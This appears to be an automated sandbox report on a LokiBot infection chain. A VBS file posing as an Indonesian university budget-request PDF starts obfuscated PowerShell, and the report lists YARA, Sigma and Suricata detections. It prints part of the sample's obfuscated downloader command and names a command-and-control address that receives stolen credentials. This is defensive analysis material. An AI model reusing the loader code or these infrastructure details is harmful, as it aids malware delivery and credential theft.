amsi64_7408.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x100e7:$b2: ::FromBase64String( 0xd458:$s1: -join 0x6c04:$s4: += 0x6cc6:$s4: += 0xaeed:$s4: += 0xd00a:$s4: += 0xd2f4:$s4: += 0xd43a:$s4: += 0xf7fc:$s4: += 0xf87c:$s4: += 0xf942:$s4: += 0xf9c2:$s4: += 0xfb98:$s4: += 0xfc1c:$s4: += 0xdc8b:$e4: Get-WmiObject 0xde7a:$e4: Get-Process 0xded2:$e4: Start-Process
amsi32_7784.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xac7c:$b2: ::FromBase64String( 0x9cf0:$s1: -join 0x349c:$s4: += 0x355e:$s4: += 0x7785:$s4: += 0x98a2:$s4: += 0x9b8c:$s4: += 0x9cd2:$s4: += 0x14412:$s4: += 0x14492:$s4: += 0x14558:$s4: += 0x145d8:$s4: += 0x147ae:$s4: += 0x14832:$s4: += 0xa523:$e4: Get-WmiObject 0xa712:$e4: Get-Process 0xa76a:$e4: Start-Process 0x150a2:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs", ProcessId: 7352, ProcessName: wscript.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 172.217.18.110, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 8076, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 59082

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs", ProcessId: 7352, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsnehlAdrenTVar,iyLat.rpFib seCythe],ermi:Aaben:Alei T

Suricata Signatures

ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T07:19:12.302852+0200	2024312	1	A Network Trojan was detected	192.168.2.4	59084	137.184.191.215	80	TCP
2024-10-02T07:19:15.447618+0200	2024312	1	A Network Trojan was detected	192.168.2.4	59085	137.184.191.215	80	TCP

ET MALWARE LokiBot Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T07:19:09.572345+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59084	137.184.191.215	80	TCP
2024-10-02T07:19:12.483647+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59085	137.184.191.215	80	TCP
2024-10-02T07:19:15.529974+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59086	137.184.191.215	80	TCP
2024-10-02T07:19:18.355471+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59087	137.184.191.215	80	TCP
2024-10-02T07:19:21.251872+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59088	137.184.191.215	80	TCP
2024-10-02T07:19:24.164842+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59089	137.184.191.215	80	TCP
2024-10-02T07:19:27.707362+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59090	137.184.191.215	80	TCP
2024-10-02T07:19:30.551427+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59091	137.184.191.215	80	TCP
2024-10-02T07:19:33.393218+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59092	137.184.191.215	80	TCP
2024-10-02T07:19:36.220072+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59093	137.184.191.215	80	TCP
2024-10-02T07:19:38.975579+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59094	137.184.191.215	80	TCP
2024-10-02T07:19:41.723886+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59095	137.184.191.215	80	TCP
2024-10-02T07:19:44.604525+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59096	137.184.191.215	80	TCP
2024-10-02T07:19:47.483919+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59097	137.184.191.215	80	TCP
2024-10-02T07:19:50.178821+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59098	137.184.191.215	80	TCP
2024-10-02T07:19:53.593930+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59099	137.184.191.215	80	TCP
2024-10-02T07:19:56.379219+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59100	137.184.191.215	80	TCP
2024-10-02T07:19:59.214834+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59101	137.184.191.215	80	TCP
2024-10-02T07:20:02.286811+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59102	137.184.191.215	80	TCP
2024-10-02T07:20:05.122471+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59103	137.184.191.215	80	TCP
2024-10-02T07:20:07.886272+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59104	137.184.191.215	80	TCP
2024-10-02T07:20:10.665251+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59105	137.184.191.215	80	TCP
2024-10-02T07:20:13.365954+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59106	137.184.191.215	80	TCP
2024-10-02T07:20:16.194835+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59107	137.184.191.215	80	TCP
2024-10-02T07:20:19.864465+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59108	137.184.191.215	80	TCP
2024-10-02T07:20:22.698157+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59109	137.184.191.215	80	TCP
2024-10-02T07:20:25.433688+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	59110	137.184.191.215	80	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T07:19:18.171666+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59086	137.184.191.215	80	TCP
2024-10-02T07:19:21.013032+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59087	137.184.191.215	80	TCP
2024-10-02T07:19:23.973964+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59088	137.184.191.215	80	TCP
2024-10-02T07:19:27.548269+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59089	137.184.191.215	80	TCP
2024-10-02T07:19:30.379725+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59090	137.184.191.215	80	TCP
2024-10-02T07:19:33.225029+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59091	137.184.191.215	80	TCP
2024-10-02T07:19:36.057069+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59092	137.184.191.215	80	TCP
2024-10-02T07:19:38.828485+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59093	137.184.191.215	80	TCP
2024-10-02T07:19:41.576277+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59094	137.184.191.215	80	TCP
2024-10-02T07:19:44.444483+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59095	137.184.191.215	80	TCP
2024-10-02T07:19:47.324761+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59096	137.184.191.215	80	TCP
2024-10-02T07:19:49.999462+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59097	137.184.191.215	80	TCP
2024-10-02T07:19:53.439974+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59098	137.184.191.215	80	TCP
2024-10-02T07:19:56.226080+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59099	137.184.191.215	80	TCP
2024-10-02T07:19:59.055098+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59100	137.184.191.215	80	TCP
2024-10-02T07:20:01.880033+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59101	137.184.191.215	80	TCP
2024-10-02T07:20:04.967633+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59102	137.184.191.215	80	TCP
2024-10-02T07:20:07.737466+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59103	137.184.191.215	80	TCP
2024-10-02T07:20:10.515443+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59104	137.184.191.215	80	TCP
2024-10-02T07:20:13.220159+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59105	137.184.191.215	80	TCP
2024-10-02T07:20:16.036940+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59106	137.184.191.215	80	TCP
2024-10-02T07:20:19.692535+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59107	137.184.191.215	80	TCP
2024-10-02T07:20:22.539182+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59108	137.184.191.215	80	TCP
2024-10-02T07:20:25.272631+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59109	137.184.191.215	80	TCP
2024-10-02T07:20:28.121264+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	59110	137.184.191.215	80	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T07:19:18.171666+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59086	137.184.191.215	80	TCP
2024-10-02T07:19:21.013032+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59087	137.184.191.215	80	TCP
2024-10-02T07:19:23.973964+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59088	137.184.191.215	80	TCP
2024-10-02T07:19:27.548269+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59089	137.184.191.215	80	TCP
2024-10-02T07:19:30.379725+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59090	137.184.191.215	80	TCP
2024-10-02T07:19:33.225029+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59091	137.184.191.215	80	TCP
2024-10-02T07:19:36.057069+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59092	137.184.191.215	80	TCP
2024-10-02T07:19:38.828485+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59093	137.184.191.215	80	TCP
2024-10-02T07:19:41.576277+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59094	137.184.191.215	80	TCP
2024-10-02T07:19:44.444483+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59095	137.184.191.215	80	TCP
2024-10-02T07:19:47.324761+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59096	137.184.191.215	80	TCP
2024-10-02T07:19:49.999462+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59097	137.184.191.215	80	TCP
2024-10-02T07:19:53.439974+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59098	137.184.191.215	80	TCP
2024-10-02T07:19:56.226080+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59099	137.184.191.215	80	TCP
2024-10-02T07:19:59.055098+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59100	137.184.191.215	80	TCP
2024-10-02T07:20:01.880033+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59101	137.184.191.215	80	TCP
2024-10-02T07:20:04.967633+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59102	137.184.191.215	80	TCP
2024-10-02T07:20:07.737466+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59103	137.184.191.215	80	TCP
2024-10-02T07:20:10.515443+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59104	137.184.191.215	80	TCP
2024-10-02T07:20:13.220159+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59105	137.184.191.215	80	TCP
2024-10-02T07:20:16.036940+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59106	137.184.191.215	80	TCP
2024-10-02T07:20:19.692535+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59107	137.184.191.215	80	TCP
2024-10-02T07:20:22.539182+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59108	137.184.191.215	80	TCP
2024-10-02T07:20:25.272631+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59109	137.184.191.215	80	TCP
2024-10-02T07:20:28.121264+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	59110	137.184.191.215	80	TCP

ET MALWARE LokiBot User-Agent (Charon/Inferno)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T07:19:09.572345+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59084	137.184.191.215	80	TCP
2024-10-02T07:19:12.483647+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59085	137.184.191.215	80	TCP
2024-10-02T07:19:15.529974+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59086	137.184.191.215	80	TCP
2024-10-02T07:19:18.355471+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59087	137.184.191.215	80	TCP
2024-10-02T07:19:21.251872+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59088	137.184.191.215	80	TCP
2024-10-02T07:19:24.164842+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59089	137.184.191.215	80	TCP
2024-10-02T07:19:27.707362+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59090	137.184.191.215	80	TCP
2024-10-02T07:19:30.551427+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59091	137.184.191.215	80	TCP
2024-10-02T07:19:33.393218+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59092	137.184.191.215	80	TCP
2024-10-02T07:19:36.220072+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59093	137.184.191.215	80	TCP
2024-10-02T07:19:38.975579+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59094	137.184.191.215	80	TCP
2024-10-02T07:19:41.723886+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59095	137.184.191.215	80	TCP
2024-10-02T07:19:44.604525+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59096	137.184.191.215	80	TCP
2024-10-02T07:19:47.483919+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59097	137.184.191.215	80	TCP
2024-10-02T07:19:50.178821+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59098	137.184.191.215	80	TCP
2024-10-02T07:19:53.593930+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59099	137.184.191.215	80	TCP
2024-10-02T07:19:56.379219+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59100	137.184.191.215	80	TCP
2024-10-02T07:19:59.214834+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59101	137.184.191.215	80	TCP
2024-10-02T07:20:02.286811+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59102	137.184.191.215	80	TCP
2024-10-02T07:20:05.122471+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59103	137.184.191.215	80	TCP
2024-10-02T07:20:07.886272+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59104	137.184.191.215	80	TCP
2024-10-02T07:20:10.665251+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59105	137.184.191.215	80	TCP
2024-10-02T07:20:13.365954+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59106	137.184.191.215	80	TCP
2024-10-02T07:20:16.194835+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59107	137.184.191.215	80	TCP
2024-10-02T07:20:19.864465+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59108	137.184.191.215	80	TCP
2024-10-02T07:20:22.698157+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59109	137.184.191.215	80	TCP
2024-10-02T07:20:25.433688+0200	2021641	1	A Network Trojan was detected	192.168.2.4	59110	137.184.191.215	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T07:19:05.174518+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	59082	172.217.18.110	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: http://137.184.191.215/index.php/check.php?s=am9ntjjw

Virustotal: Detection: 15%

Perma Link

Multi AV Scanner detection for submitted file

Source: PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs	ReversingLabs: Detection: 18%
Source: PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs	Virustotal: Detection: 20%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.110:443 -> 192.168.2.4:59082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.4:59083 version: TLS 1.2

Source:	Binary string: msiexec.pdb source: msiexec.exe, 00000008.00000003.2228829643.0000000004369000.00000004.00000020.00020000.00000000.sdmp, 31437F.exe.8.dr
Source:	Binary string: msiexec.pdbGCTL source: msiexec.exe, 00000008.00000003.2228829643.0000000004369000.00000004.00000020.00020000.00000000.sdmp, 31437F.exe.8.dr
Source:	Binary string: nt.Automation.pdb source: powershell.exe, 00000004.00000002.2714751507.0000000006F2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000001.00000002.1906613189.00000211ABE90000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bpdbtem.pdb source: powershell.exe, 00000001.00000002.1903510778.00000211ABC2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdb source: powershell.exe, 00000004.00000002.2720499502.0000000008100000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000004.00000002.2714751507.0000000006FEC000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59085 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59101 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59109 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59085 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59101 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59109 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59095 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59091 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59090 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59090 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59099 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59086 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.4:59085 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59109 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59087 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59091 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59087 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59096 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59099 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59109 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59102 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59096 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59090 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59100 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:59090 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59086 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59084 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59093 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59100 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:59101 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59092 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59092 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:59106 -> 137.184.191.215:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:59106 -> 137.184.191.215:80
